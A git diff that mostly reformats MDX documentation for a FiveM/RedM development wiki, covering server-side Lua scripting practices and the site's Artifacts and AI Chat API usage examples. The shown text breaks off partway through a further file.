a/content/docs/cfx/resource-development/server-side.mdx b/content/docs/cfx/resource-development/server-side.mdx index a68fbb2..56ef447 100644 --- a/content/docs/cfx/resource-development/server-side.mdx +++ b/content/docs/cfx/resource-development/server-side.mdx @@ -3,7 +3,23 @@ title: Server-Side Development description: Complete guide to developing server-side scripts for FiveM resources. --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; Server-side scripts handle game logic, player management, database operations, and security validation. They run on the server and communicate with clients through events. @@ -13,28 +29,28 @@ Server-side scripts handle game logic, player management, database operations, a { title: "Initialize Resource", description: "Handle resource startup events and load configuration", - code: "AddEventHandler('onResourceStart', function(resourceName)\n if resourceName == GetCurrentResourceName() then\n print('Resource started')\n end\nend)" + code: "AddEventHandler('onResourceStart', function(resourceName)\n if resourceName == GetCurrentResourceName() then\n print('Resource started')\n end\nend)", }, { title: "Manage Players", description: "Handle player connections, disconnections, and data", - code: "AddEventHandler('playerConnecting', function(name, setKickReason, deferrals)\n deferrals.defer()\n -- Validate player\nend)" + code: "AddEventHandler('playerConnecting', function(name, setKickReason, deferrals)\n deferrals.defer()\n -- Validate player\nend)", }, { title: "Register Server Callbacks", description: "Create callbacks for client requests", - code: "ESX.RegisterServerCallback('myresource:getData', function(source, cb)\n cb({data = 'example'})\nend)" + code: "ESX.RegisterServerCallback('myresource:getData', function(source, cb)\n cb({data = 'example'})\nend)", }, { title: "Handle Network Events", description: "Listen for and respond to client events", - code: "RegisterNetEvent('myresource:action')\nAddEventHandler('myresource:action', function()\n -- Process action\nend)" + code: "RegisterNetEvent('myresource:action')\nAddEventHandler('myresource:action', function()\n -- Process action\nend)", }, { title: "Cleanup on Stop", description: "Clean up resources when resource stops", - code: "AddEventHandler('onResourceStop', function(resourceName)\n if resourceName == GetCurrentResourceName() then\n print('Cleanup')\n end\nend)" - } + code: "AddEventHandler('onResourceStop', function(resourceName)\n if resourceName == GetCurrentResourceName() then\n print('Cleanup')\n end\nend)", + }, ]} /> @@ -77,16 +93,16 @@ end AddEventHandler('playerConnecting', function(name, setKickReason, deferrals) local src = source local identifiers = GetPlayerIdentifiers(src) - + deferrals.defer() deferrals.update('Checking player data...') - + -- Validate player if IsPlayerBanned(identifiers) then deferrals.done('You are banned from this server.') return end - + deferrals.done() end) @@ -98,7 +114,7 @@ end) AddEventHandler('playerDropped', function(reason) local src = source print(('[%s] %s left the server: %s'):format(src, GetPlayerName(src), reason)) - + -- Save player data before disconnect SavePlayerData(src) playerData[src] = nil @@ -152,16 +168,16 @@ end RegisterServerEvent('myresource:saveData') AddEventHandler('myresource:saveData', function(data) local src = source - + -- Validate source if not src or src == 0 then return end - + -- Validate data if not data or type(data) ~= 'table' then print('Invalid data received from player ' .. src) return end - + -- Process data SavePlayerData(src, data) end) @@ -172,7 +188,7 @@ RegisterCommand('heal', function(source, args, rawCommand) print('This command can only be used in-game') return end - + -- Check permissions if not IsPlayerAdmin(source) then TriggerClientEvent('chat:addMessage', source, { @@ -181,7 +197,7 @@ RegisterCommand('heal', function(source, args, rawCommand) }) return end - + -- Execute command TriggerClientEvent('myresource:heal', source) end, false) @@ -244,7 +260,7 @@ end function SavePlayerData(src, data) local identifier = GetPlayerIdentifier(src, 0) - + MySQL.Async.execute('UPDATE users SET money = @money, job = @job WHERE identifier = @identifier', { ['@money'] = data.money, ['@job'] = data.job, @@ -296,8 +312,8 @@ end function SavePlayerDataOx(src, data) local identifier = GetPlayerIdentifier(src, 0) - - MySQL:update('UPDATE users SET money = ?, job = ? WHERE identifier = ?', + + MySQL:update('UPDATE users SET money = ?, job = ? WHERE identifier = ?', {data.money, data.job, identifier}, function(affectedRows) if affectedRows > 0 then print('Player data saved for ' .. GetPlayerName(src)) @@ -314,32 +330,32 @@ end function ValidateInput(data, schema) for key, rules in pairs(schema) do local value = data[key] - + -- Check required fields if rules.required and (value == nil or value == '') then return false, 'Missing required field: ' .. key end - + -- Check data types if value ~= nil and rules.type and type(value) ~= rules.type then return false, 'Invalid type for field: ' .. key end - + -- Check string length if rules.maxLength and type(value) == 'string' and #value > rules.maxLength then return false, 'Field too long: ' .. key end - + -- Check numeric ranges if rules.min and type(value) == 'number' and value < rules.min then return false, 'Value too small for field: ' .. key end - + if rules.max and type(value) == 'number' and value > rules.max then return false, 'Value too large for field: ' .. key end end - + return true, nil end @@ -353,13 +369,13 @@ local transferSchema = { RegisterServerEvent('banking:transfer') AddEventHandler('banking:transfer', function(data) local src = source - + local valid, error = ValidateInput(data, transferSchema) if not valid then TriggerClientEvent('banking:error', src, 'Invalid input: ' .. error) return end - + -- Process transfer ProcessTransfer(src, data.targetId, data.amount, data.reason) end) @@ -390,13 +406,13 @@ end function HasPermission(src, permission) local role = GetPlayerRole(src) local rolePerms = permissions[role] or {} - + for _, perm in ipairs(rolePerms) do if perm == permission then return true end end - + return false end @@ -409,7 +425,7 @@ RegisterCommand('money', function(source, args, rawCommand) }) return end - + local amount = tonumber(args[1]) if amount then GivePlayerMoney(source, amount) @@ -424,17 +440,17 @@ local playerActions = {} function LogPlayerAction(src, action, data) local timestamp = os.time() - + if not playerActions[src] then playerActions[src] = {} end - + table.insert(playerActions[src], { action = action, data = data, timestamp = timestamp }) - + -- Keep only last 100 actions if #playerActions[src] > 100 then table.remove(playerActions[src], 1) @@ -443,10 +459,10 @@ end function CheckSpamming(src, action, timeLimit, maxActions) if not playerActions[src] then return false end - + local currentTime = os.time() local actionCount = 0 - + for i = #playerActions[src], 1, -1 do local log = playerActions[src][i] if currentTime - log.timestamp > timeLimit then @@ -456,7 +472,7 @@ function CheckSpamming(src, action, timeLimit, maxActions) actionCount = actionCount + 1 end end - + return actionCount >= maxActions end @@ -464,15 +480,15 @@ end RegisterServerEvent('myresource:buyItem') AddEventHandler('myresource:buyItem', function(itemId, quantity) local src = source - + -- Check for spamming if CheckSpamming(src, 'buyItem', 60, 10) then -- 10 purchases per minute max TriggerClientEvent('myresource:error', src, 'Too many purchase attempts') return end - + LogPlayerAction(src, 'buyItem', {item = itemId, qty = quantity}) - + -- Process purchase ProcessPurchase(src, itemId, quantity) end) @@ -524,17 +540,17 @@ local cacheTimeout = 60000 -- 1 minute function GetCachedData(key, fetchFunction) local now = GetGameTimer() - + if cache[key] and (now - cache[key].timestamp) < cacheTimeout then return cache[key].data end - + local data = fetchFunction() cache[key] = { data = data, timestamp = now } - + return data end @@ -606,29 +622,29 @@ local jobs = { function SetPlayerJob(src, jobName, grade) grade = grade or 0 - + if not jobs[jobName] then print('Invalid job: ' .. tostring(jobName)) return false end - + if not jobs[jobName].grades[grade] then print('Invalid grade for job ' .. jobName .. ': ' .. tostring(grade)) return false end - + SetPlayerData(src, 'job', jobName) SetPlayerData(src, 'job_grade', grade) - + TriggerClientEvent('job:updated', src, jobName, grade) - + return true end function GetPlayerJob(src) local jobName = GetPlayerData(src).job or 'unemployed' local grade = GetPlayerData(src).job_grade or 0 - + return jobName, grade, jobs[jobName] end ``` @@ -644,29 +660,29 @@ local economy = { function AddMoney(src, amount, reason) if amount <= 0 then return false end - + local currentMoney = GetPlayerMoney(src) SetPlayerMoney(src, currentMoney + amount) - + LogTransaction(src, 'add', amount, reason) TriggerClientEvent('money:updated', src, currentMoney + amount) - + return true end function RemoveMoney(src, amount, reason) if amount <= 0 then return false end - + local currentMoney = GetPlayerMoney(src) if currentMoney < amount then return false, 'Insufficient funds' end - + SetPlayerMoney(src, currentMoney - amount) - + LogTransaction(src, 'remove', amount, reason) TriggerClientEvent('money:updated', src, currentMoney - amount) - + return true end @@ -678,7 +694,7 @@ function LogTransaction(src, type, amount, reason) reason = reason, timestamp = os.time() }) - + -- Save to database MySQL.Async.execute('INSERT INTO transactions (player_id, type, amount, reason, timestamp) VALUES (@player_id, @type, @amount, @reason, @timestamp)', { ['@player_id'] = src, @@ -706,15 +722,15 @@ local currentLogLevel = LogLevel.INFO function Log(level, message, ...) if level < currentLogLevel then return end - + local levelNames = {'DEBUG', 'INFO', 'WARN', 'ERROR'} local levelName = levelNames[level] or 'UNKNOWN' - + local timestamp = os.date('%Y-%m-%d %H:%M:%S') local formattedMessage = string.format(message, ...) - + print(string.format('[%s][%s] %s', timestamp, levelName, formattedMessage)) - + -- Also save to file if needed if level >= LogLevel.ERROR then SaveToLogFile(timestamp, levelName, formattedMessage) diff --git a/content/docs/cfx/support.mdx b/content/docs/cfx/support.mdx index 6ec0f9b..d27c7e9 100644 --- a/content/docs/cfx/support.mdx +++ b/content/docs/cfx/support.mdx @@ -4,7 +4,23 @@ description: Links to tools, forums, and community resources for CitizenFX. icon: "Link" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; ## Official Links diff --git a/content/docs/core/api/artifacts.mdx b/content/docs/core/api/artifacts.mdx index 5c43e3b..2c01ecb 100644 --- a/content/docs/core/api/artifacts.mdx +++ b/content/docs/core/api/artifacts.mdx @@ -4,11 +4,29 @@ description: Usage guides and information for our Artifacts API. icon: "PlugZap" --- -import { Tab, Tabs } from 'fumadocs-ui/components/tabs'; -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { Tab, Tabs } from "fumadocs-ui/components/tabs"; +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; - The Artifacts API provides access to FiveM and RedM server artifacts. Built with Go and Fiber, it offers high-performance access to FiveM/RedM server builds with comprehensive filtering, pagination, and metadata. + The Artifacts API provides access to FiveM and RedM server artifacts. Built + with Go and Fiber, it offers high-performance access to FiveM/RedM server + builds with comprehensive filtering, pagination, and metadata. ## Overview @@ -22,6 +40,7 @@ The Artifacts API is a high-performance service providing programmatic access to - Access comprehensive artifact metadata Each artifact includes: + - Version numbers and commit hashes - Platform-specific downloads (Windows/Linux) - Support status (recommended, latest, active, deprecated, eol) @@ -46,16 +65,16 @@ Retrieves paginated list of artifacts with comprehensive filtering options. #### Query Parameters -| Parameter | Type | Description | Default | -|-----------|------|-------------|---------| -| `platform` | string | Filter by platform (`windows` or `linux`) | `windows` | -| `status` | string | Filter by support status (`recommended`, `latest`, `active`, `deprecated`, `eol`) | All statuses | -| `search` | string | Search by version number (partial match supported) | No search | -| `sortBy` | string | Sort field (`version` or `date`) | `version` | -| `sortOrder` | string | Sort direction (`asc` or `desc`) | `desc` | -| `limit` | number | Results per page (max 100) | `10` | -| `offset` | number | Pagination offset | `0` | -| `includeEol` | boolean | Include End-of-Life artifacts | `true` | +| Parameter | Type | Description | Default | +| ------------ | ------- | --------------------------------------------------------------------------------- | ------------ | +| `platform` | string | Filter by platform (`windows` or `linux`) | `windows` | +| `status` | string | Filter by support status (`recommended`, `latest`, `active`, `deprecated`, `eol`) | All statuses | +| `search` | string | Search by version number (partial match supported) | No search | +| `sortBy` | string | Sort field (`version` or `date`) | `version` | +| `sortOrder` | string | Sort direction (`asc` or `desc`) | `desc` | +| `limit` | number | Results per page (max 100) | `10` | +| `offset` | number | Pagination offset | `0` | +| `includeEol` | boolean | Include End-of-Life artifacts | `true` | #### Response Format @@ -123,8 +142,8 @@ Check if an artifact version exists and get availability information. #### Query Parameters -| Parameter | Type | Description | -|-----------|------|-------------| +| Parameter | Type | Description | +| --------- | ------ | ----------------------- | | `version` | string | Version number to check | #### Response Format @@ -156,10 +175,10 @@ Get changelog information comparing two artifact versions. #### Query Parameters -| Parameter | Type | Description | -|-----------|------|-------------| -| `base` | string | Base/older version | -| `head` | string | Head/newer version | +| Parameter | Type | Description | +| --------- | ------ | ------------------ | +| `base` | string | Base/older version | +| `head` | string | Head/newer version | #### Response Format @@ -178,4 +197,3 @@ Get changelog information comparing two artifact versions. "message": "Use GitHub API to fetch detailed commit history" } ``` - diff --git a/content/docs/core/api/chat.mdx b/content/docs/core/api/chat.mdx index bb710d9..6d57c73 100644 --- a/content/docs/core/api/chat.mdx +++ b/content/docs/core/api/chat.mdx @@ -4,11 +4,29 @@ description: AI-powered chat assistance for FiveM and RedM development. icon: "MessageCircle" --- -import { Tab, Tabs } from 'fumadocs-ui/components/tabs'; -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { Tab, Tabs } from "fumadocs-ui/components/tabs"; +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; - The Chat API provides AI-powered assistance for FiveM and RedM development questions. Powered by advanced language models, it offers contextual help, code examples, and troubleshooting guidance. + The Chat API provides AI-powered assistance for FiveM and RedM development + questions. Powered by advanced language models, it offers contextual help, + code examples, and troubleshooting guidance. ## Overview @@ -22,6 +40,7 @@ The Chat API is an intelligent assistant specifically trained for CitizenFX deve - **Framework Support** - Covers ESX, QBCore, and other popular frameworks The AI assistant can help with: + - Resource development and structure - Native function usage and examples - Database integration and optimization @@ -68,15 +87,15 @@ Sends a chat message to the AI assistant and receives a contextual response. #### Parameters -| Parameter | Type | Description | Default | -|-----------|------|-------------|---------| -| `messages` | array | Chat message history | Required | -| `model` | string | AI model to use (`gpt-4o-mini`, `claude-3-sonnet`) | `gpt-4o-mini` | -| `temperature` | number | Response creativity (0.0-1.0) | 0.7 | -| `stream` | boolean | Enable streaming response | false | -| `context.framework` | string | Target framework (`esx`, `qbcore`, `standalone`) | null | -| `context.environment` | string | Environment (`client`, `server`, `shared`) | null | -| `context.topic` | string | Topic area (`development`, `troubleshooting`, `optimization`) | null | +| Parameter | Type | Description | Default | +| --------------------- | ------- | ------------------------------------------------------------- | ------------- | +| `messages` | array | Chat message history | Required | +| `model` | string | AI model to use (`gpt-4o-mini`, `claude-3-sonnet`) | `gpt-4o-mini` | +| `temperature` | number | Response creativity (0.0-1.0) | 0.7 | +| `stream` | boolean | Enable streaming response | false | +| `context.framework` | string | Target framework (`esx`, `qbcore`, `standalone`) | null | +| `context.environment` | string | Environment (`client`, `server`, `shared`) | null | +| `context.topic` | string | Topic area (`development`, `troubleshooting`, `optimization`) | null | #### Response Format @@ -111,54 +130,54 @@ Sends a chat message to the AI assistant and receives a contextual response. -```javascript +````javascript // Basic chat interaction async function askFixie(question, framework = null) { - const response = await fetch('https://fixfx.wiki/api/chat', { - method: 'POST', + const response = await fetch("https://fixfx.wiki/api/chat", { + method: "POST", headers: { - 'Content-Type': 'application/json' + "Content-Type": "application/json", }, body: JSON.stringify({ messages: [ { - role: 'user', - content: question - } + role: "user", + content: question, + }, ], - model: 'gpt-4o-mini', + model: "gpt-4o-mini", temperature: 0.7, context: { framework: framework, - environment: 'server', - topic: 'development' - } - }) + environment: "server", + topic: "development", + }, + }), }); - + const data = await response.json(); - - console.log('Fixie:', data.response); - + + console.log("Fixie:", data.response); + // Show code examples if provided if (data.code_examples && data.code_examples.length > 0) { - console.log('\nCode Examples:'); + console.log("\nCode Examples:"); data.code_examples.forEach((example, index) => { console.log(`${index + 1}. ${example.description} (${example.language})`); - console.log('```' + example.language); + console.log("```" + example.language); console.log(example.code); - console.log('```'); + console.log("```"); }); } - + // Show suggestions if (data.suggestions && data.suggestions.length > 0) { - console.log('\nSuggested follow-up questions:'); + console.log("\nSuggested follow-up questions:"); data.suggestions.forEach((suggestion, index) => { console.log(`${index + 1}. ${suggestion}`); }); } - + return data; } @@ -166,12 +185,12 @@ async function askFixie(question, framework = null) { await askFixie("How do I create a vehicle spawning command in ESX?", "esx"); await askFixie("What's the best way to handle player data persistence?"); await askFixie("How can I optimize database queries in FiveM?"); -``` +```` -```lua +````lua -- Chat with Fixie from within FiveM local function askFixie(question, framework, callback) local requestData = { @@ -189,17 +208,17 @@ local function askFixie(question, framework, callback) topic = "development" } } - + PerformHttpRequest("https://fixfx.wiki/api/chat", function(errorCode, resultData, resultHeaders) if errorCode ~= 200 then print("Chat API error:", errorCode) return end - + local data = json.decode(resultData) - + print("Fixie: " .. data.response) - + -- Show code examples if data.code_examples and #data.code_examples > 0 then print("\nCode Examples:") @@ -210,7 +229,7 @@ local function askFixie(question, framework, callback) print("```") end end - + -- Show suggestions if data.suggestions and #data.suggestions > 0 then print("\nSuggested follow-up questions:") @@ -218,7 +237,7 @@ local function askFixie(question, framework, callback) print(i .. ". " .. suggestion) end end - + if callback then callback(data) end @@ -231,12 +250,12 @@ end askFixie("How do I create a custom inventory item in QBCore?", "qbcore") askFixie("What's causing high CPU usage in my resource?") askFixie("How do I properly handle player disconnections?", "esx") -``` +```` -```csharp +````csharp using System.Net.Http; using System.Text; using System.Text.Json; @@ -244,12 +263,12 @@ using System.Text.Json; public class FixieChatClient { private readonly HttpClient _client; - + public FixieChatClient() { _client = new HttpClient(); } - + public async Task AskFixie(string question, string framework = null, string environment = "server") { var request = new ChatRequest @@ -271,13 +290,13 @@ public class FixieChatClient Topic = "development" } }; - + var json = JsonSerializer.Serialize(request); var content = new StringContent(json, Encoding.UTF8, "application/json"); - + var response = await _client.PostAsync("https://fixfx.wiki/api/chat", content); response.EnsureSuccessStatusCode(); - + var responseContent = await response.Content.ReadAsStringAsync(); return JsonSerializer.Deserialize(responseContent); } @@ -287,8 +306,8 @@ public class FixieChatClient var client = new FixieChatClient(); var response = await client.AskFixie( - "How do I create a vehicle spawning command in ESX?", - "esx", + "How do I create a vehicle spawning command in ESX?", + "esx", "server" ); @@ -316,7 +335,7 @@ if (response.Suggestions?.Any() == true) Console.WriteLine($"{index + 1}. {suggestion}"); } } -``` +```` @@ -331,46 +350,46 @@ For real-time interaction, enable streaming responses: ```javascript // Streaming chat interface async function streamChat(question, onChunk, onComplete) { - const response = await fetch('https://fixfx.wiki/api/chat', { - method: 'POST', + const response = await fetch("https://fixfx.wiki/api/chat", { + method: "POST", headers: { - 'Content-Type': 'application/json' + "Content-Type": "application/json", }, body: JSON.stringify({ - messages: [{ role: 'user', content: question }], + messages: [{ role: "user", content: question }], stream: true, - model: 'gpt-4o-mini' - }) + model: "gpt-4o-mini", + }), }); - + if (!response.body) { - throw new Error('Streaming not supported'); + throw new Error("Streaming not supported"); } - + const reader = response.body.getReader(); const decoder = new TextDecoder(); - let buffer = ''; - let fullResponse = ''; - + let buffer = ""; + let fullResponse = ""; + try { while (true) { const { done, value } = await reader.read(); - + if (done) break; - + buffer += decoder.decode(value, { stream: true }); - const lines = buffer.split('\n'); - buffer = lines.pop() || ''; - + const lines = buffer.split("\n"); + buffer = lines.pop() || ""; + for (const line of lines) { - if (line.startsWith('data: ')) { + if (line.startsWith("data: ")) { const data = line.slice(6); - - if (data === '[DONE]') { + + if (data === "[DONE]") { onComplete(fullResponse); return; } - + try { const parsed = JSON.parse(data); if (parsed.choices?.[0]?.delta?.content) { @@ -390,7 +409,7 @@ async function streamChat(question, onChunk, onComplete) { } // Usage example -const chatOutput = document.getElementById('chat-output'); +const chatOutput = document.getElementById("chat-output"); streamChat( "How do I implement a player teleport system?", @@ -400,8 +419,8 @@ streamChat( }, (finalResponse) => { // Handle completion - console.log('Chat completed:', finalResponse); - } + console.log("Chat completed:", finalResponse); + }, ); ``` @@ -423,69 +442,66 @@ class FixieDevelopmentAssistant { this.currentContext = { framework: null, project: null, - currentFile: null + currentFile: null, }; } - + async askQuestion(question, additionalContext = {}) { const context = { ...this.currentContext, ...additionalContext }; - - const response = await fetch('https://fixfx.wiki/api/chat', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, + + const response = await fetch("https://fixfx.wiki/api/chat", { + method: "POST", + headers: { "Content-Type": "application/json" }, body: JSON.stringify({ - messages: [ - ...this.chatHistory, - { role: 'user', content: question } - ], + messages: [...this.chatHistory, { role: "user", content: question }], context, - model: 'gpt-4o-mini' - }) + model: "gpt-4o-mini", + }), }); - + const data = await response.json(); - + // Update chat history this.chatHistory.push( - { role: 'user', content: question }, - { role: 'assistant', content: data.response } + { role: "user", content: question }, + { role: "assistant", content: data.response }, ); - + // Limit history size if (this.chatHistory.length > 20) { this.chatHistory = this.chatHistory.slice(-16); } - + return data; } - + async getCodeReview(code, language) { const question = `Please review this ${language} code and suggest improvements:\n\n\`\`\`${language}\n${code}\n\`\`\``; - return this.askQuestion(question, { topic: 'code-review' }); + return this.askQuestion(question, { topic: "code-review" }); } - + async debugError(errorMessage, code) { const question = `I'm getting this error: "${errorMessage}"\n\nIn this code:\n\`\`\`lua\n${code}\n\`\`\`\n\nWhat's wrong and how can I fix it?`; - return this.askQuestion(question, { topic: 'debugging' }); + return this.askQuestion(question, { topic: "debugging" }); } - + async generateCode(description, framework) { const question = `Generate ${framework} code for: ${description}`; - return this.askQuestion(question, { - framework, - topic: 'code-generation' + return this.askQuestion(question, { + framework, + topic: "code-generation", }); } - + async optimizePerformance(code, language) { const question = `How can I optimize this ${language} code for better performance?\n\n\`\`\`${language}\n${code}\n\`\`\``; - return this.askQuestion(question, { topic: 'optimization' }); + return this.askQuestion(question, { topic: "optimization" }); } - + setContext(context) { this.currentContext = { ...this.currentContext, ...context }; } - + clearHistory() { this.chatHistory = []; } @@ -496,18 +512,19 @@ const assistant = new FixieDevelopmentAssistant(); // Set project context assistant.setContext({ - framework: 'esx', - project: 'roleplay-server', - environment: 'server' + framework: "esx", + project: "roleplay-server", + environment: "server", }); // Ask general questions const response1 = await assistant.askQuestion( - "How do I create a custom job in ESX?" + "How do I create a custom job in ESX?", ); // Get code review -const codeReview = await assistant.getCodeReview(` +const codeReview = await assistant.getCodeReview( + ` RegisterCommand('heal', function(source, args) local xPlayer = ESX.GetPlayerFromId(source) if xPlayer.job.name == 'ambulance' then @@ -515,18 +532,20 @@ RegisterCommand('heal', function(source, args) SetEntityHealth(ped, 200) end end) -`, 'lua'); +`, + "lua", +); // Debug an error const debugHelp = await assistant.debugError( "attempt to index a nil value (global 'ESX')", - "ESX.TriggerServerCallback('bank:withdraw', function(success) end)" + "ESX.TriggerServerCallback('bank:withdraw', function(success) end)", ); // Generate new code const generatedCode = await assistant.generateCode( "a vehicle shop system with categories and test drives", - "qbcore" + "qbcore", ); ``` @@ -547,20 +566,20 @@ class InteractiveTutorial { this.steps = []; this.currentStep = 0; this.assistant = new FixieDevelopmentAssistant(); - this.assistant.setContext({ framework, topic: 'tutorial' }); + this.assistant.setContext({ framework, topic: "tutorial" }); } - + async startTutorial() { const response = await this.assistant.askQuestion( `Create a step-by-step tutorial for ${this.topic} in ${this.framework}. - Include code examples and explanations for each step.` + Include code examples and explanations for each step.`, ); - + // Parse the response to extract steps this.parseSteps(response.response); return this.getCurrentStep(); } - + parseSteps(tutorialText) { // Simple parsing - in practice, you'd want more sophisticated parsing const sections = tutorialText.split(/Step \d+:/); @@ -568,14 +587,14 @@ class InteractiveTutorial { id: index + 1, title: `Step ${index + 1}`, content: step.trim(), - completed: false + completed: false, })); } - + getCurrentStep() { return this.steps[this.currentStep] || null; } - + async nextStep() { if (this.currentStep < this.steps.length - 1) { this.steps[this.currentStep].completed = true; @@ -584,24 +603,24 @@ class InteractiveTutorial { } return null; } - + async askStepQuestion(question) { const currentStep = this.getCurrentStep(); if (!currentStep) return null; - + const contextualQuestion = ` I'm on step ${currentStep.id} of the ${this.topic} tutorial: "${currentStep.title}" My question: ${question} `; - + return this.assistant.askQuestion(contextualQuestion); } - + async validateCode(code) { const currentStep = this.getCurrentStep(); if (!currentStep) return null; - + const validationRequest = ` Please validate this code for step ${currentStep.id} of the ${this.topic} tutorial: @@ -611,16 +630,16 @@ class InteractiveTutorial { Is this correct? What improvements can be made? `; - + return this.assistant.askQuestion(validationRequest); } - + getProgress() { - const completed = this.steps.filter(step => step.completed).length; + const completed = this.steps.filter((step) => step.completed).length; return { completed, total: this.steps.length, - percentage: (completed / this.steps.length * 100).toFixed(1) + percentage: ((completed / this.steps.length) * 100).toFixed(1), }; } } @@ -630,11 +649,11 @@ const tutorial = new InteractiveTutorial("vehicle spawning system", "esx"); // Start the tutorial const firstStep = await tutorial.startTutorial(); -console.log('First step:', firstStep); +console.log("First step:", firstStep); // Ask questions during the tutorial const clarification = await tutorial.askStepQuestion( - "Where exactly do I put this code in my resource?" + "Where exactly do I put this code in my resource?", ); // Validate user's code @@ -650,7 +669,7 @@ const validation = await tutorial.validateCode(` // Move to next step const nextStep = await tutorial.nextStep(); -console.log('Progress:', tutorial.getProgress()); +console.log("Progress:", tutorial.getProgress()); ``` @@ -669,22 +688,22 @@ class AICodeAssistant { this.selectedCode = null; this.assistant = new FixieDevelopmentAssistant(); } - + setActiveFile(filePath, content, framework) { this.activeFile = { filePath, content, framework }; - this.assistant.setContext({ - framework, - currentFile: filePath + this.assistant.setContext({ + framework, + currentFile: filePath, }); } - + setSelectedCode(code, lineStart, lineEnd) { this.selectedCode = { code, lineStart, lineEnd }; } - + async explainCode() { if (!this.selectedCode) return null; - + const question = ` Explain what this code does: @@ -694,13 +713,13 @@ class AICodeAssistant { Please explain it line by line if it's complex. `; - + return this.assistant.askQuestion(question); } - + async optimizeSelection() { if (!this.selectedCode) return null; - + const question = ` Optimize this code for better performance and readability: @@ -710,13 +729,13 @@ class AICodeAssistant { Provide the optimized version with explanations. `; - + return this.assistant.askQuestion(question); } - + async findBugs() { if (!this.selectedCode) return null; - + const question = ` Check this code for potential bugs and issues: @@ -726,13 +745,13 @@ class AICodeAssistant { List any problems and how to fix them. `; - + return this.assistant.askQuestion(question); } - + async generateDocumentation() { if (!this.selectedCode) return null; - + const question = ` Generate documentation comments for this code: @@ -742,13 +761,13 @@ class AICodeAssistant { Include parameter descriptions and usage examples. `; - + return this.assistant.askQuestion(question); } - + async suggestImprovements() { if (!this.activeFile) return null; - + const question = ` Analyze this ${this.activeFile.framework} resource file and suggest improvements: @@ -760,19 +779,19 @@ class AICodeAssistant { Focus on structure, performance, and best practices. `; - + return this.assistant.askQuestion(question); } - + async autocomplete(currentLine, cursorPosition) { const question = ` - Complete this line of ${this.activeFile?.framework || 'Lua'} code: + Complete this line of ${this.activeFile?.framework || "Lua"} code: "${currentLine}" Cursor is at position ${cursorPosition}. Suggest completions. `; - + return this.assistant.askQuestion(question); } } @@ -782,17 +801,13 @@ const codeAssistant = new AICodeAssistant(); // Set current file context codeAssistant.setActiveFile( - 'server/main.lua', + "server/main.lua", 'RegisterCommand("givemoney", function(source, args)\n local amount = tonumber(args[1])\nend)', - 'esx' + "esx", ); // Select code and get help -codeAssistant.setSelectedCode( - 'local amount = tonumber(args[1])', - 2, - 2 -); +codeAssistant.setSelectedCode("local amount = tonumber(args[1])", 2, 2); const explanation = await codeAssistant.explainCode(); const optimization = await codeAssistant.optimizeSelection(); @@ -807,18 +822,18 @@ const docs = await codeAssistant.generateDocumentation(); ### Available Models -| Model | Strengths | Use Cases | -|-------|-----------|-----------| -| `gpt-4o-mini` | Fast, cost-effective, good for general questions | Quick help, code completion, basic debugging | -| `claude-3-sonnet` | Advanced reasoning, detailed explanations | Complex problem solving, code review, architecture | -| `gpt-4-turbo` | Balanced performance and capability | Most development tasks, tutorials, optimization | +| Model | Strengths | Use Cases | +| ----------------- | ------------------------------------------------ | -------------------------------------------------- | +| `gpt-4o-mini` | Fast, cost-effective, good for general questions | Quick help, code completion, basic debugging | +| `claude-3-sonnet` | Advanced reasoning, detailed explanations | Complex problem solving, code review, architecture | +| `gpt-4-turbo` | Balanced performance and capability | Most development tasks, tutorials, optimization | ### Specialized Knowledge The AI assistant has specialized knowledge in: - **FiveM/RedM Development** - Resource structure, manifests, natives -- **Framework Expertise** - ESX, QBCore, vRP, and custom frameworks +- **Framework Expertise** - ESX, QBCore, vRP, and custom frameworks - **Database Integration** - MySQL, oxmysql, async patterns - **Performance Optimization** - Profiling, caching, efficient code patterns - **Security Best Practices** - Input validation, injection prevention @@ -843,6 +858,7 @@ Standard HTTP status codes: - `500`: Server Error - AI service error Example error response: + ```json { "error": "Rate limit exceeded", @@ -884,9 +900,11 @@ For questions about the Chat API, please [join our Discord](/discord). We can he - Feature requests - The Chat API is continuously improved with better FiveM/RedM specific knowledge and capabilities. + The Chat API is continuously improved with better FiveM/RedM specific + knowledge and capabilities. - Always review and test AI-generated code before using it in production environments. + Always review and test AI-generated code before using it in production + environments. diff --git a/content/docs/core/api/contributors.mdx b/content/docs/core/api/contributors.mdx index 479c873..2358176 100644 --- a/content/docs/core/api/contributors.mdx +++ b/content/docs/core/api/contributors.mdx @@ -4,11 +4,29 @@ description: Access GitHub contributors and repository statistics. icon: "Users" --- -import { Tab, Tabs } from 'fumadocs-ui/components/tabs'; -import { FeatureList, CheckList, 